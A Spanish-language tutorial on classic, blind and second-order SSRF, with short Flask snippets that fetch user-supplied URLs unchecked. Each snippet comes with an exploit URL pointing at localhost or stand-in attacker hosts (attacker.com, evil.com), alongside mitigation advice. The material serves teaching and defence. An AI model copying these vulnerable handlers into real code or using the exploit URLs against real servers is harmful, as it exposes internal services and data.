SSRF Clásico (Normal)

El SSRF clásico es el tipo más directo de vulnerabilidad SSRF. Se da cuando una aplicación permite que el usuario especifique una URL, y el servidor realiza una solicitud HTTP a esa URL devolviendo la respuesta al usuario. Esta visibilidad inmediata de la respuesta facilita notablemente la explotación.

Este patrón es común en funciones de "proxy", previsualización de enlaces, conversión de documentos o generación de miniaturas. El riesgo se incrementa cuando el servidor tiene acceso a redes internas u otros servicios que el atacante no podría contactar directamente desde el exterior.

Un atacante puede explotar esta lógica para realizar escaneo de puertos internos, acceder a servicios no expuestos públicamente (como paneles de administración) o incluso interactuar con endpoints de metadatos en entornos cloud como AWS. La capacidad de leer las respuestas hace que este tipo de SSRF sea ideal para reconocimiento detallado.

Desde una perspectiva defensiva, este tipo de vulnerabilidad se puede mitigar validando rigurosamente las URLs proporcionadas por los usuarios, evitando llamadas directas desde el backend o restringiendo las IPs y esquemas permitidos para las solicitudes salientes.

									   from flask import Flask, request
									   import requests
									   
									   app = Flask(__name__)
									   
									   @app.route('/proxy')
									   def proxy():
										   url = request.args.get('url')
										   resp = requests.get(url)
										   return resp.text

Explotación: /proxy?url=http://127.0.0.1:8000. Si el puerto interno sirve una interfaz web, el atacante la verá renderizada.

SSRF Ciego (Blind)

En un SSRF ciego, la aplicación también realiza la solicitud HTTP, pero no devuelve el resultado al atacante. El servidor hace la petición, pero el atacante solo recibe una respuesta genérica como "OK" o "Sent". Esto vuelve más compleja la explotación ya que no hay visibilidad directa sobre la respuesta del recurso interno.

Sin embargo, es posible detectar este tipo de SSRF por canales secundarios. El más común es el uso de DNS logging: el atacante puede controlar un dominio y monitorear los registros DNS o HTTP entrantes para confirmar que la solicitud fue ejecutada. También puede medir los tiempos de respuesta para inferir la existencia de servicios internos.

Este tipo de ataque es especialmente efectivo cuando se busca alcanzar servicios internos o endpoints protegidos que no devuelven contenido útil, pero que permiten confirmar su existencia o extraer información si se automatiza el reconocimiento.

La mitigación de SSRF ciegos requiere no solo filtrado de URL, sino también control de salidas HTTP, registro y alerta en peticiones externas, y en entornos cloud, el aislamiento de metadatos.

@app.route('/ping')
									   def ping():
										   url = request.args.get('url')
										   try:
											   requests.get(url, timeout=2)
											   return 'Sent'
										   except:
											   return 'Failed'

Explotación: /ping?url=http://attacker.com/ping. El atacante monitorea sus logs para confirmar que el servidor objetivo hizo la solicitud.

SSRF de Segundo Orden (Second-Order)

El SSRF de segundo orden ocurre cuando el valor proporcionado por el atacante no es utilizado inmediatamente, sino que se almacena para ser procesado en otro punto del flujo de la aplicación. Esto lo convierte en uno de los tipos más difíciles de detectar y mitigar, pero con consecuencias igual de graves.

Este patrón es común en aplicaciones modernas que manejan colas de tareas, microservicios o cualquier procesamiento asincrónico. Por ejemplo, si una aplicación permite guardar una URL para descargar una imagen de perfil más adelante, y ese segundo paso no valida correctamente la URL, se puede ejecutar un SSRF en diferido.

El atacante, en este caso, necesita entender el flujo interno de la aplicación, o bien, forzar múltiples entradas maliciosas con la esperanza de que una de ellas se procese más tarde. Dado que el procesamiento ocurre en otro contexto, el servidor puede tener diferentes permisos o estar expuesto a una red distinta.

La defensa efectiva contra este tipo de SSRF requiere validaciones redundantes en todos los puntos donde se consuma una URL, incluso si ya fue validada anteriormente. También es útil marcar datos como "ya validados", aplicar listas blancas de destinos y monitorear patrones de tráfico anómalos.

				 @app.route('/save')
				 def save():
					 avatar = request.args.get('avatar')
					 with open('avatars.txt', 'w') as f:
						 f.write(avatar)
					 return 'Saved'
					 
				 @app.route('/load')
				 def load():
					 with open('avatars.txt') as f:
						 url = f.read()
					 requests.get(url)
					 return 'Fetched'

Explotación: /save?avatar=http://evil.com seguido por /load. El servidor procesará la URL maliciosa de forma diferida.